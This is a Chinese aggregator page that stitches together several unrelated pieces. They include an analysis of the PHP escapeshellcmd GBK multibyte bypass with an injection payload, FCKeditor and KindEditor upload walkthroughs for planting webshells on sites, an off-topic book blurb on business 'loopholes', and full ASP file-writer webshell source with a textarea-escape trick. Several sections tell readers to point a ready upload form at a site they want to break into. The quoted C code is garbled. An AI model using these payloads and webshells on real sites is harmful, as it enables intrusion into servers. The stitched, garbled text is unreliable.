61阅读

编辑器漏洞-php escapeshellcmd多字节编码漏洞解析及延伸

发布时间:2018-03-02 所属栏目:kindeditor漏洞

一 : php escapeshellcmd多字节编码漏洞解析及延伸

漏洞公告在http://www.sektioneins.de/advisories/SE-2008-03.txt

PHP 5 <= 5.2.5
PHP 4 <= 4.4.8

一些允许如GBK,EUC-KR, SJIS等宽字节字符集的系统都可能受此影响,影响还是非常大的,国内的虚拟主机应该是通杀的,在测试完这个漏洞之后,发现还是十分有意思的,以前也有过对这种类型安全漏洞的研究,于是就把相关的漏洞解释和一些自己的想法都写出来,也希望国内的一些有漏洞的平台能迅速做出响应,修补漏洞。
这个漏洞出在php的用来转义命令行字符串的函数上,这些函数底层是用的php_escape_shell_cmd这个函数的,我们先来看看他的处理过程:


/* {{{ php_escape_shell_cmd
Escape all chars that could possibly be used to
break out of a shell command

This function emalloc’s a string and returns the pointer.
Remember to efree it when done with it.

*NOT* safe for binary strings
*/
char *php_escape_shell_cmd(char *str) {
register int x, y, l;
char *cmd;
char *p = NULL;

l = strlen(str);
cmd = safe_emalloc(2, l, 1);

for (x = 0, y = 0; x < l; x ) {
switch (str[x]) {
case ’"’:
case ’’’:
#ifndef PHP_WIN32
if (!p && (p = memchr(str x 1, str[x], l - x - 1))) {
/* noop */
} else if (p && *p == str[x]) {
p = NULL;
} else {
cmd[y ] = ’’;
}
cmd[y ] = str[x];
break;
#endif
case ’#’: /* This is character-set independent */
case ’&’:
case ’;’:
case ’`’:
case ’|’:
case ’*’:
case ’?’:
case ’~’:
case ’<’:
case ’>’:
case ’^’:
case ’(’:
case ’)’:
case ’[’:
case ’]’:
case ’{’:
case ’}’:
case ’$’:
case ’’:
case ’x0A’: /* excluding these two */
case ’xFF’:
#ifdef PHP_WIN32
/* since Windows does not allow us to escape these chars, just remove them */
case ’%’:
cmd[y ] = ’ ’;
break;
#endif
cmd[y ] = ’’;
/* fall-through */
default:
cmd[y ] = str[x];

}
}
cmd[y] = ’’;
return cmd;
}
/* }}} */


可以看到,php通过将",’,#,&,;.....等等在shell命令行里有特殊意义的字符都通过在前面加上变成".’,#,&,;......来进行转义,使得用户的输入被过滤,来避免产生command injection漏洞。在php看来,只要过滤了这些字符,送入到system等函数中时,参数就会是安全的,php手册中给出的利用例子如下:


<?php
$e = escapeshellcmd($userinput);

// here we don’t care if $e has spaces
system("echo $e");
$f = escapeshellcmd($filename);

// and here we do, so we use quotes
system("touch "/tmp/$f"; ls -l "/tmp/$f"");
?>

很明显,如果没有经过escapeshellcmd的处理,用户输入hello;id的话,最后system执行的会是:

echo hello;id

;在shell里是分割命令的作用,这样不仅仅会echo hello,还会执行id这个命令,导致命令注入漏洞。用escapeshellcmd处理之后命令变成:

echo hello;id

这样执行的命令就只会是echo,其他的都变成echo的参数,很安全。

事实上是这样么?php在处理完参数送入system之后它就什么都不管了,后面的工作实际上都是由linux来完成的,那么linux在处理这些参数的时候是怎么样的呢?linux在执行命令的时候会有一些的表示工作环境的环境变量,譬如PWD代表当前的工作环境,UID代表了你的身份,BASH代表命令解释器等等......而在linux系统执行命令的时候,还有一个非常重要的参数,LANG,这个参数决定了linux shell如何处理你的输入,这样就可以当你输入一些中文字符的时候,linux能认识他,不至于出现人与系统之间出现理解上的错误。默认情况下,linux的LANG是en_US.UTF-8,UTF-8是一个很安全的字符集,其系列中包含有对自身的校验,所以不会出现错误,会工作良好。一些系统支持多字节字符集如GBK的时候,这也正是国内的多数情况,你可以设置LANG=zh_CN.GBK,这样你的输入都会被当作GBK编码处理,而GBK是双字节的,合法的GBK编码会被认为是一个字符。
大家可以看到,在php的处理过程中,它是单字节处理的,它只把输入当作一个字节流,而在linux设置了GBK字符集的时候,它的处理是双字节的,大家的理解很明显地不一致。我们查下GBK的字符集范围为8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,而一个非常重要的字符的编码为5c,在GBK的尾字节范围之内,这样我们考虑一个特殊的输入:

0xbf;id
或 0xbf’id

经过php的escapeshellcmd单字节转码之后将会是

0xbf5c;id
0xbf5c’id

注意0xbf5c是一个合法的GBK编码,那么在linux执行的时候,会认为输入是

[0xbfbc];id

很好,后面的id将会被执行。可以做个简单的实验,如下:

[loveshell@Loveshell tmp]$Content$nbsp;echo 縗
>
?
[loveshell@Loveshell tmp]$Content$nbsp;set|grep -i lang
LANG=zh_CN.GB2312
LANGVAR=en_US.UTF-8
[loveshell@Loveshell tmp]$Content$nbsp;export LANG=zh_CN.GBK
[loveshell@Loveshell tmp]$Content$nbsp;echo 縗

[loveshell@Loveshell tmp]$Content$nbsp;set|grep -i lang
LANG=zh_CN.GBK
LANGVAR=en_US.UTF-8
[loveshell@Loveshell tmp]$Content$nbsp;

其中縗的编码为0xbf5c,可以看到在不设置LANG为GBK的时候縗是一个非法的gb2312编码,所以会被认为是两个字符,所以其中含有的0x5c起作用,被认为命令没结束。然后我们设置编码为GBK,縗就会被认为是一个字符来echo了。
那我们如何来证明php的漏洞呢,拿

作为例子,正常情况下上面的代码工作很好,我们提交

exp.php?c=loveshell

二 : Fckeditor编辑器上传漏洞(iis6.0解析0day)

Fckeditor编辑器的漏洞几乎和ewebeditor编辑器漏洞一样严重.

关于ewebeditor编辑器的漏洞在小残博客的[www.61k.com]在线编辑器漏洞暴光 有详细的说明。

与ewebeditor编辑器不通的是,Fckeditor编辑器的漏洞只存在于暴露编辑器的上传点和服务器IIS版本必须是iis6.0版本

(因为IIS6.0存在解析漏洞)

反之如果说服务器的IIS版本为6.0以上则无法利用。

一般情况下fckeditor编辑器的默认上传地址为:

/expansion/fckeditor/editor/filemanager/connectors/test.html
/expansion/fckeditor/editor/filemanager/connectors/uploadtest.html

如下图所示:

编辑器漏洞 Fckeditor编辑器上传漏洞(iis6.0解析0day)

1知道了编辑器的上传地址后选择Connector项目的网站语言 一般情况下是选择asp 或者 asp.net

2.然后点击 Get Folders and Files 即可查看网站的图片目录文件 然后即可点击 浏览 选择我们的网站木马 点击上传即可。

3.上传成功后回到Get Folders and Files 即可查看到上传的文件

编辑器漏洞 Fckeditor编辑器上传漏洞(iis6.0解析0day)

如上图所示图片目录为 /uploadfile/ 我们的木马名字是 exehack.asp;gif

(注意:上传成功后一般情况下系统会自动按照时间格式改名大家可以在图片目录下查看上传成功后的木马名字)

如果我们存在漏洞的网站是http://exehack.net 网站那么上传成功后的木马文件就在http://exehack.net/uploadfile/木马.asp;gif


由于Fckeditor是一款比较老的编辑器了 漏洞也存在了比较长的时候.有时候存在漏洞的页面被管理员或者别人删除或者修改了内容

我们就无法找到上传点了。

比如如下情况:

编辑器漏洞 Fckeditor编辑器上传漏洞(iis6.0解析0day)

那么我们可以在本地创建一个上传文件 文件代码如下:

<!-- * FCKeditor - The text editor for Internet - http://www.fckeditor.net * Copyright (C) 2003-2007 Frederico Caldeira Knabben * * == BEGIN LICENSE == * * Licensed under the terms of any of the following licenses at your * choice: * * - GNU General Public License Version 2 or later (the "GPL") * * * - GNU Lesser General Public License Version 2.1 or later (the "LGPL") * * * - Mozilla Public License Version 1.1 or later (the "MPL") * * * == END LICENSE == * * Test page for the File Browser connectors. --> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>FCKeditor - Connectors Tests</title> <script type="text/javascript"> function BuildBaseUrl( command ) { var sUrl = document.getElementById(&#39;cmbConnector&#39;).value + &#39;?Command=&#39; + command + &#39;&amp;Type=&#39; + document.getElementById(&#39;cmbType&#39;).value + &#39;&amp;CurrentFolder=&#39; + encodeURIComponent(document.getElementById(&#39;txtFolder&#39;).value) ; return sUrl ; } function SetFrameUrl( url ) { document.getElementById(&#39;eRunningFrame&#39;).src = url ; document.getElementById(&#39;eUrl&#39;).innerHTML = url ; } function GetFolders() { SetFrameUrl( BuildBaseUrl( &#39;GetFolders&#39; ) ) ; return false ; } function GetFoldersAndFiles() { SetFrameUrl( BuildBaseUrl( &#39;GetFoldersAndFiles&#39; ) ) ; return false ; } function CreateFolder() { var sFolder = prompt( &#39;Type the folder name:&#39;, &#39;Test Folder&#39; ) ; if ( ! sFolder ) return false ; var sUrl = BuildBaseUrl( &#39;CreateFolder&#39; ) ; sUrl += &#39;&amp;NewFolderName=&#39; + encodeURIComponent( sFolder ) ; SetFrameUrl( sUrl ) ; return false ; } function OnUploadCompleted( errorNumber, fileName ) { switch ( errorNumber ) { case 0 : alert( &#39;File uploaded with no errors&#39; ) ; break ; case 201 : GetFoldersAndFiles() ; alert( &#39;A file with the same name is already available. The uploaded file has been renamed to "&#39; + fileName + &#39;"&#39; ) ; break ; case 202 : alert( &#39;Invalid file&#39; ) ; break ; default : alert( &#39;Error on file upload. Error number: &#39; + errorNumber ) ; break ; } } this.frames.frmUpload = this ; function SetAction() { var sUrl = BuildBaseUrl( &#39;FileUpload&#39; ) ; document.getElementById(&#39;eUrl&#39;).innerHTML = sUrl ; document.getElementById(&#39;frmUpload&#39;).action = sUrl ; } </script> </head> <body> <table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0"> <tr> <td> <table cellspacing="0" cellpadding="0" border="0"> <tr> <td> Connector:<br /> <select id="cmbConnector" name="cmbConnector"><!-- 改地址的地方 --> <option value="http://www.exehack.net/expansion/fckeditor/editor/filemanager/connectors/asp/connector.asp" selected="selected">ASP</option> <option value="http://www.exehack.net/expansion/fckeditor/editor/filemanager/connectors/aspx/connector.aspx" selected="selected">ASP.Net</option> <option value="http://www.exehack.net/expansion/fckeditor/editor/filemanager/connectors/php/connector.php" selected="selected">PHP</option> <option value="http://www.exehack.net/expansion/fckeditor/editor/filemanager/connectors/php/connector.php" selected="selected">小残<span>PHP</span></option><!-- 改地址的地方 --> </select> </td> <td> </td> <td> Current Folder<br /> <input id="txtFolder" type="text" value="/" name="txtFolder" /></td> <td> </td> <td> Resource Type<br /> <select id="cmbType" name="cmbType"> <option value="File" selected="selected">File</option> <option value="Image">Image</option> <option value="Flash">Flash</option> <option value="Media">Media</option> <option value="Invalid">Invalid Type (for testing)</option> </select> </td> </tr> </table> <br /> <table cellspacing="0" cellpadding="0" border="0"> <tr> <td valign="top"> <a href="#" onclick="GetFolders();">Get Folders</a></td> <td> </td> <td valign="top"> <a href="#" onclick="GetFoldersAndFiles();">Get Folders and Files</a></td> <td> </td> <td valign="top"> <a href="#" onclick="CreateFolder();">Create Folder</a></td> <td> </td> <td valign="top"> <form id="frmUpload" action="" target="eRunningFrame" method="post" enctype="multipart/form-data"> File Upload<br /> <input id="txtFileUpload" type="file" name="NewFile" /> <input type="submit" value="Upload" onclick="SetAction();" /> </form> </td> </tr> </table> <br /> URL: <span id="eUrl"></span> </td> </tr> <tr> <td height="100%" valign="top"> <iframe id="eRunningFrame" src="javascript:void(0)" name="eRunningFrame" width="100%" height="100%"></iframe> </td> </tr> </table> </body> </html>

扩展:fckeditor编辑器漏洞 / fckeditor 2.6.5 0day / fckeditor编辑器

可以将以上代码中的 http://www.exehack.net/expansion 修改为需要入侵的网站地址后将代码保存为1.html 然后打开进行上传

扩展:fckeditor编辑器漏洞 / fckeditor 2.6.5 0day / fckeditor编辑器

三 : KindEditor编辑器上传修改拿shell漏洞

作者:relywind

影响版本:
KindEditor 3.5.2~4.1

漏洞利用:
打开编辑器,将一句话改名为1.jpg 上传图片,
打开文件管理,进入“down”目录,跳至尾页,最后一个图片既是我们上传的一句话
点击改名

kindeditor漏洞 KindEditor编辑器上传修改拿shell漏洞

打开谷歌浏览器的 审查元素

kindeditor漏洞 KindEditor编辑器上传修改拿shell漏洞

找到form表单www.2cto.com
kindeditor漏洞 KindEditor编辑器上传修改拿shell漏洞


修改“jpg”为“asp”
kindeditor漏洞 KindEditor编辑器上传修改拿shell漏洞


名字修改为1 保存

kindeditor漏洞 KindEditor编辑器上传修改拿shell漏洞


一句话就生成了,连接地址为

http://www.2cto.com/upfiles/down/1.asp

扩展:kindeditor编辑器漏洞 / kindeditor 上传漏洞 / 编辑器上传漏洞

四 : 漏洞管理:漏洞管理-内容提要,漏洞管理-编辑推荐

本书由李毛,周阳敏著作,从案例出发,说明了企业生产、营销、财务、人事、品牌及战略等方面管理漏洞产生的原因,分析了上述管理漏洞的表现形式及防止这些管理漏洞产生的方法与途径。

作者:李毛,周阳敏 著

ISBN:10位&#91;7501782245&#93;13位&#91;9787501782246&#93;

出版社:中国经济出版社

出版日期:2007-10-1

定价:¥29.00元

漏洞管理_漏洞管理 -内容提要

全书共九章,第一章:导论:管理漏洞与漏洞管理;第二章:战略漏洞管理;第三章:营销管理漏洞;第四章:生产管理漏洞;第五章:财务管理漏洞;第六章:人事管理漏洞;第七章:品牌管理漏洞;第八章:合同管理漏洞;第九章:跨国管理漏洞。

漏洞管理_漏洞管理 -编辑推荐

本书从案例出发,说明了企业生产、营销、财务、人事、品牌及战略等方面管理漏洞产生的原因,分析了上述管理漏洞的表现形式及防止这些管理漏洞产生的方法与途径。全书共九章,第一章:导论:管理漏洞与漏洞管理;第二章:战略漏洞管理;第三章:营销管理漏洞;第四章:生产管理漏洞;第五章:财务管理漏洞;第六章:人事管理漏洞;第七章:品牌管理漏洞;第八章:合同管理漏洞;第九章:跨国管理漏洞。

漏洞管理_漏洞管理 -作者简单介绍

周阳敏,重庆市人,1971年生,工学学士、管理学硕士、经济学博士,2004年2月毕业于浙江大学,郑州阳民管理策划有限公司董事长,《中国反垄断网》主编:国民经济学、西方经济学、劳动经济学和企业管理(含MBA)硕士研究生导师。

主要从事新制度经济学、产业经济学、国际经济学、企业管理理论与实务(包括企业咨询、企业培训、企业战略与企业策划)等,在《经济学季刊》、《经济学动态》、《经济理论与经济管理》、《中国改革》等发表学术论文20多篇,受邀在《环报》、《糖烟酒周刊》、《东方财经周刊》、《烟草市场通讯》等开辟专栏,发表专栏文章

50多篇。

漏洞管理_漏洞管理 -目录

第一章导论:管理漏洞与漏洞管理

第一节管理漏洞与漏洞管理的基本概念

第二节爆炸事件责任追踪

第三节漏洞剖析:企业管理失误追踪

第四节漏洞的普遍性、广泛性、递延性

第二章战略管理漏洞

第一节托普之死

第二节监管漏洞抑或战略漏洞

第三节民营企业战略缺乏与冒进

第四节战略漏洞的多种状态与现象

第五节战略漏洞管理的策略

第六节战略漏洞管理的方法、步骤与实施

第三章营销管理漏洞

第一节三株陨落:营销管理漏洞之痛

第二节打破营销管理实务黑箱

第三节售前管理漏洞

第四节分销管理漏洞

第五节价格管理漏洞

第六节公共关系管理漏洞

第七节售后管理漏洞

第四章生产管理漏洞

第一节大灾难:吉林石化公司双苯厂连环爆炸事件

第二节生产管理流程与生产管理漏洞

第三节产品质量与生产管理漏洞

第四节安全生产与生产管理漏洞

第五节生产管理中的设备管理与库存管理

第五章财务管理漏洞

第一节某集团财务巨贪与挪用事件

第二节贪污、受贿与财务管理漏洞

第三节国有企业的行政色彩与财务漏洞

第四节审计监察制度与财务漏洞管理

第五节往来款项管理与财务漏洞

第六节特派员制度能解决财务漏洞吗

第七节财务信息化、网络化、计算机化与财务漏洞

第六章人事管理漏洞

第一节被骗子发现的人事管理漏洞

第二节人事管理漏洞的各类表现

第三节宏观结构:人事管理漏洞

第四节微观结构:人事管理漏洞

第七章品牌管理漏洞

第一节国美品牌管理漏洞与虚假繁荣

第二节国美品牌漏洞的“价值”与“泛化”

第三节中国企业品牌被抢注的“漏洞”与管理意识

第四节品牌经营中的管理漏洞

第五节国有企业品牌管理的漏洞及程序化

第六节民营企业品牌管理漏洞表现

第七节品牌漏洞管理的一般技巧和方法

第八章合同管理漏洞

第一节电子生产企业被骗合同的漏洞与启示

第二节合同漏洞的分类与表现形式

第三节合同管理漏洞与责任制

第四节合同管理漏洞与法律漏洞

第五节合同管理漏洞、道德漏洞与道德“管理”

第六节合同公证与漏洞风险转移

第九章跨国管理漏洞

第一节1000亿美元的警示:跨国管理漏洞的寓言

第二节跨国经营漏洞:中航油破产

第三节跨国并购漏洞:联想坎坷前行

第四节跨国扩张漏洞:葛洲坝集团海外扩展启示

第五节跨国投资漏洞:海尔走出去的失败与成功

第六节跨国管理漏洞的表现形式

第七节跨国管理漏洞与漏洞管理的基本方法

后记

五 : 编辑器代码逃逸漏洞 by蚊虫原创

好 版权信息 把他变成小马

成功保存

但是没有被执行..

应该是马的问题

马儿不行 当然是更换了 这不 怪事出现了 你看..

看 命令成功完成! 非法操作!       这这么跑出来了?????????????

真是怪了难道我的马儿真的长褪了?

研究了一下中以明白是怎么回事了..

看看我的马儿的代码,注意红色的标记
<body>
<form method=post>
<input type=text name=syfdpath value="<%=replace(server.mappath(Request.ServerVariables("SCRIPT_NAME")),".","sb.") %>" size="53">
<input type=submit value=保存>&nbsp;&nbsp; 蚊虫专用
<textarea name=cyfddata rows="11" cols="90"></textarea>
<%
dim objFSO
dim fdat
dim objCountFile
on error resume next
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
if Trim(request("syfdpath"))<>"" then
fdata = request("cyfddata")
Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)
objCountFile.Write fdata
if err =0 then %>
<p>命令成功完成!
<% else %>
非法操作!
<%
end if
err.clear
end if
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing
%>
</form>

再看看网页的源代码,注意橙色的标记

<td width="50%" class="td1"> <U>论坛版权信息</U></td>
<td width="50%" class="td1" valign=top>
<textarea name="Copyright" cols="50" rows="5" id=TdCopyright>

<style>
body{
FILTER:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#808080,endColorStr=#000);
color:#FFF;
font-size:9pt
}
</style>
<body>
<p> </p>
<p> </p>
<form method=post>
<input type=text name=syfdpath value="<%=replace(server.mappath(Request.ServerVariables("SCRIPT_NAME")),".","sb.") %>" size="53">
<input type=submit value=保存>&nbsp;&nbsp; 蚊虫专用
<textarea name=cyfddata rows="11" cols="90"></textarea>
<%
dim objFSO
dim fdat
dim objCountFile
on error resume next
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
if Trim(request("syfdpath"))<>"" then
fdata = request("cyfddata")
Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)
objCountFile.Write fdata
if err =0 then %>
<p>命令成功完成!
<% else %>
非法操作!
<%
end if
err.clear
end if
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing
%>
</form></textarea>
<a href="javascript:admin_Size(-5,'TdCopyright')">

看不明白?

我来解释一下

看网页的源代码

<textarea name="Copyright" cols="50" rows="5" id=TdCopyright>

这是文本框的开头标记

尔我的小马里面又有一个文本框结束的标记

<textarea name=cyfddata rows="11" cols="90"></textarea>

所以浏览器就把

</textarea>以下的代码解释为文本框以外的位置了...

呵呵 这就相当于把 </textarea>以下的代码 写进了这个编辑页面里面...

明白了吧

这对我们很有用处

使用

在小马最上面加上</textarea>

保存

然后重新编辑

这时 我们的小马已经被'写入"编辑页面

剩下的就不用说了吧.....哈哈 淫荡去咯....

ps:不光是动网 还有其他的系统都有类似的漏洞

ps:不要吧思维光死停留在这里..想想我们可以.....

PS:有可能运行不了,这取决于你的马.

本文标题:编辑器漏洞-php escapeshellcmd多字节编码漏洞解析及延伸
本文地址: http://www.61k.com/1165246.html

61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1